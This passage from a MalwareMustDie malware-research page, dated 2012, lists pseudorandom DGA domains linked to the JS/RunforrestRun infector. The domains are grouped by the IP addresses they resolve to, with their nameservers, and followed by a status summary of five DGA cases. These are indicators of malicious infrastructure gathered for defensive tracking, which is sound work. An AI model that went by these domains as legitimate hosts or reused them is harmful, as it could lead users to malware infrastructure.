mrtwimcraiprwogw.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
gchecwwgqwwefhgp.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
awpwwoffphrwopef.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
wgwwcgidfwgpprhq.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
wgwwcgidfwgpprhq.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
tfpirqwirfzrfwwg.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fphfegiwgpojmiai.info,37.59.236.138,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
```

```
==================
85.17.58.87
==================

gwgzzpizqamgwfwp.info,85.17.58.87,
tjgarwhghjmwjwla.info,85.17.58.87,
tjgarwhghjmwjwla.info,85.17.58.87,
gwgzzpizqamgwfwp.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
tjgarwhghjmwjwla.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
tjgarwhghjmwjwla.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fjppppwphhzjhgpr.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
leirgprjowgjewec.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fwrwdeifeicwplwj.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fmrfgffgffgaphwa.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ltmejelrrhpcorea.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ltmejelrrhpcorea.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
plfwdomfwmrmhawc.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ffctwpfdicpphiej.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fjppppwphhzjhgpr.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
leirgprjowgjewec.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fwrwdeifeicwplwj.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
fmrfgffgffgaphwa.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ltmejelrrhpcorea.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ltmejelrrhpcorea.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
plfwdomfwmrmhawc.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM
ffctwpfdicpphiej.info,85.17.58.87,NS-CANADA.TOPDNS.COM, NS-USA.TOPDNS.COM, NS-UK.TOPDNS.COM


==================
37.59.236.139
==================

ewdcrwmzwihroclc.info,37.59.236.139,
zgfrldihpwwfiwza.info,37.59.236.139,
werzjrfmwjohhdre.info,37.59.236.139,
chipeimrjigffwlm.info,37.59.236.139,
chipeimrjigffwlm.info,37.59.236.139,
pwdrjifawpewrpwj.info,37.59.236.139,
icfwhhhmdfewcrfz.info,37.59.236.139,
cpprjgplpiheoqwf.info,37.59.236.139,
pfheffpgjwchawrd.info,37.59.236.139,
iwwdcwwpjiehjliw.info,37.59.236.139,
iwwdcwwpjiehjliw.info,37.59.236.139,
fiocgiwhoiwtjwmc.info,37.59.236.139,
rawidpmcfwojiriq.info,37.59.236.139,
```

```
wopfrwiereggjjih.info,37.59.236.139,
wrhelwhaaezippem.info,37.59.236.139,
whwfjhicpthaiwwh.info,37.59.236.139,
opjepgrigfwiehed.info,37.59.236.139,
jfwipfgrpcowjpet.info,37.59.236.139,
rwfhtfzzfwdelcer.info,37.59.236.139,
jiajrrgfdighiqwj.info,37.59.236.139,
jiajrrgfdighiqwj.info,37.59.236.139,
caepocfephpiecii.info,37.59.236.139,
gofegwzgjrljzgad.info,37.59.236.139,
hfhawjlfwwrzimjg.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
chipeimrjigffwlm.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
chipeimrjigffwlm.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
pwdrjifawpewrpwj.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
icfwhhhmdfewcrfz.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
cpprjgplpiheoqwf.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
pfheffpgjwchawrd.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
iwwdcwwpjiehjliw.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
fiocgiwhoiwtjwmc.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rawidpmcfwojiriq.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wopfrwiereggjjih.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wrhelwhaaezippem.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
werzjrfmwjohhdre.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
werzjrfmwjohhdre.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
whwfjhicpthaiwwh.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
opjepgrigfwiehed.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jfwipfgrpcowjpet.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rwfhtfzzfwdelcer.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jiajrrgfdighiqwj.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jiajrrgfdighiqwj.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
caepocfephpiecii.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
gofegwzgjrljzgad.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
hrzzgzqwwwwehhje.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zcfglifwjaihwcww.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
ewdcrwmzwihroclc.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zgfrldihpwwfiwza.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
qltzcgfgigcrzgpm.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
hfhawjlfwwrzimjg.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
hrzzgzqwwwwehhje.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zcfglifwjaihwcww.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
ewdcrwmzwihroclc.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zgfrldihpwwfiwza.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
qltzcgfgigcrzgpm.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
```

```
hfhawjlfwwrzimjg.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
chipeimrjigffwlm.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
chipeimrjigffwlm.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
pwdrjifawpewrpwj.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
icfwhhhmdfewcrfz.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
cpprjgplpiheoqwf.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
pfheffpgjwchawrd.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
iwwdcwwpjiehjliw.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
iwwdcwwpjiehjliw.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
fiocgiwhoiwtjwmc.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rawidpmcfwojiriq.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wopfrwiereggjjih.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
wrhelwhaaezippem.info,37.59.236.139,EAST.INAPPLE.COM NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
whwfjhicpthaiwwh.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
opjepgrigfwiehed.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jfwipfgrpcowjpet.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
rwfhtfzzfwdelcer.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jiajrrgfdighiqwj.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
jiajrrgfdighiqwj.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
caepocfephpiecii.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
gofegwzgjrljzgad.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
hrzzgzqwwwwehhje.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
zcfglifwjaihwcww.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
eeiaeaaaaipgimjf.info,37.59.236.139,EAST.INAPPLE.COM, NORTH.INAPPLE.COM, SOUTH.INAPPLE.COM, WEST.INAPPLE.COM
-------------------------
  # MalwareMustDie
  Sat Nov  3 16:43:50 JST 2012
------------------------
```

### DGA Project Monitoring

We have a very basic monitoring as per applied in the below textual format, the publicly published is as per below pastes, t goal is to follow the trend of DGA spotted, to understand it activation and infection range:

```
 #MalwareMustDie!!  | Sun Nov  4 14:52:22 JST 2012
*) This is a compilation of overall Pseudorandom / DGA
   Cases of JS/RunforrestRun Infectors Handled by MMD - Overall
-------------------------------------------------------------------------------
*) There are 3three more previous cases left which is currently under sort now..
   We'll do the best, done in compiling 4 cases below...
-------------------------------------------------------------------------------

[1] Update Status of url/domains of DGA / Pseudorandom infectors
Ref1: http://malwaremustdie.blogspot.jp/2012/10/fuzzy-in-manual-cracking-of.html (Case Details)
Ref2: http://pastebin.com/raw.php?i=tGiTcJ4H (Infector details)
```

```
Ref3: http://pastebin.com/raw.php?i=vrRq35JF (Current status)
result: ACTIVATED

------------------------------------------------------------------------

[2] Update Status of url/domains of DGA / Pseudorandom infectors
Ref1: http://malwaremustdie.blogspot.jp/2012/09/malware-hunting-log-jspseudorandom.html (Case Details)
Ref2: http://pastebin.com/raw.php?i=tGiTcJ4H (Infector details1)
Ref3: http://pastebin.com/raw.php?i=9zQt23hv (Infector details2)
Ref4: http://pastebin.com/raw.php?i=AE3a6xpH (Report)
Result: NOT ACTIVATED

------------------------------------------------------------------------

[3] Update Status of url/domains of DGA / Pseudorandom infectors
Ref1: http://pastebin.com/raw.php?i=S0cs87P1 (Case details)
Ref2: http://pastebin.com/raw.php?i=F05WXQ2Z (Burped Infectors)
Ref3: http://pastebin.com/raw.php?i=XXtEbTSZ (Report)
Result: NOT ACTIVATED

------------------------------------------------------------------------

[4] Update Status of url/domains of DGA / Pseudorandom infectors
Ref1: http://pastebin.com/raw.php?i=0VM5ycgq (first type of deobfs burped urls)
Ref2: http://pastebin.com/raw.php?i=xjwM4gfy (second type of deobfs burped urls)
Ref3: http://pastebin.com/raw.php?i=VvQAk9m1 (Report)
result: ACTIVATED

------------------------------------------------------------------------

[5] Update Status of url/domains of DGA / Pseudorandom infectors, Case JS/PseudoRandom
Ref1: http://malwaremustdie.blogspot.jp/2012/10/decoding-multilayer-javascript-packed.html
Ref2: http://pastebin.com/raw.php?i=p6EjiDg7 (Burped Infectors domains)
Ref3: Same as case [3] http://pastebin.com/raw.php?i=XXtEbTSZ
Status: NOT ACTIVATED

Case [6][7] was actually repititions of the case [1][2] no new information available.
```

## Copyright

```
their rest time after long daily work hours to contribute this
documentation, please respect it by contacting us upon any
use for publicity.
```

#MalwareMustDie!

---